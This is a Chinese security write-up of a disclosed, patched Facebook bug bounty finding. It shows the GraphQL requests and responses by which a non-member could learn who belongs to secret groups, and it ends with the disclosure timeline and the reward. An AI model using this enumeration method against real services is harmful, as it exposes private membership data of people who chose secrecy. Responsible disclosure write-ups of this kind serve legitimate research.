挖洞經驗 | 發現任意Facebook非公開私密群組成員信息

2019-11-22 89484人圍觀 ,發現 6 個不明物體 WEB安全漏洞

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。

在Facebook非公開的私密群組(Secret)中,只有群內成員或管理員才有權看得到群組成員信息,但經作者測試發現,針對任意私密群組,非私密群組成員一樣可以查看其中的群組成員信息。漏洞最終獲得Facebook官方$3000美金獎勵。

漏洞復現步驟

在用戶B和非公開私密群組D之間不存在任何關系之前,以用戶A身份提交以下請求:

POST /api/graphql/?doc_id=2416329748453695 HTTP/1.1

Host: facebook.com

variables=%7B%22groupID%22%3A%22Group_D_ID%22%2C%22memberID%22%3A%22

User_B_ID%22%7D

然后我們收到以下響應:

   "data":{ 

      "group":{ 

         "id":"2082572965383830",

         "can_viewer_claim_adminship":false,

         "membership":null

      }

   }

}

可以看到,響應中存在”membership”:null字段,這是因為用戶B和非公開私密群組D之間不存在任何關系,也即用戶B不是私密群組D內成員。

現在,如果私密群組D內某成員發邀請給用戶B,讓用戶B加入私密群組D,也就是用戶B和私密群組D已經開始建立了一種聯系(Relationship)。此時,我們重復第一個步驟中的請求后,會收到以下響應:

   "data":{ 

      "group":{ 

         "id":"2082572965383830",

         "can_viewer_claim_adminship":false,

         "membership":{ 

            "member_actions":[ 

               { 

                  "__typename":"GroupSendMessageToMemberAction",

                  "action_name":"Send message",

                  "action_type":"SEND_MESSAGE"

               }

            ],

            "member":{ 

               "id":"100038336371044"

            },

            "id":"124632125491333"

         }

      }

   }

}

此時,membership = membership_id,盡管membership函數內無法看出一些有用信息,但我們可以利用其中的響應信息來繼續構造請求。

現在,我們把其中的membership ID,也就是代表“GroupMembership”的 “id”:”124632125491333″提取出來,構造如下GraphQL請求:

graphql?q=node(GroupMembershipID)

   member,

   associated_group,

   invited_by{ 

      id,

      name

   }

}

收到的響應如下:

"124632125491333":{ 

   "member":{ 

      "name":"Sandra Alchccfcgajdd Lauescu",

      "url":"https://www.facebook.com/profile.php?id=100038336371044",

      "id":"100038336371044"

   },

   "associated_group":{ 

      "name":"Members",

      "url":"https://www.facebook.com/groups/2082572965383830/",

      "id":"2082572965383830"

   },

   "invited_by":null

}

}

從中可以看到”invited_by”:null,也就是說,用戶B還未正式被私密群組D批準成為正式成員。但如果用戶B是私密群組D的正式成員后,我們收到的響應會包含以下字段:

"invited_by":

  {

    id: MEMBER_ID,

    name: Member_Name

  }

invited_by字段代表了群組內其它成員對用戶B的邀請入群動作,如果用戶B退群,這個invited_by會被再次置空,也就是說,我們可以通過這個點來判斷私密群組內的具體成員信息。

漏洞影響是,非群組成員可查看任意私密群組成員信息,最終,Facebook把響應信息中的invited_by字段進行了刪除,以此修復了漏洞。

漏洞上報處置進程

13/08/2019: 漏洞初報

14/08/2019: Facebook確認

15/08/2019: Facebook調查

16/08/2019: Facebook修復

20/08/2019: 確認Facebook修復完成

01/10/2019: 獲得Facebook$3000賞金

*參考來源:medium,clouds 編譯整理,轉載請注明來自 FreeBuf.COM

相關推薦

這些評論亮了

  • 忽略 回復
    非常感謝您的報告,漏洞真實存在,但不包含敏感信息,故忽略處理。
    )22( 亮了
發表評論

已有 6 條評論

取消
Loading...
clouds

I am a robot , don't talk to me , code to me.

416 文章數 38 評論數 13 關注者

特別推薦

推薦關注

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 什么app能玩二人麻将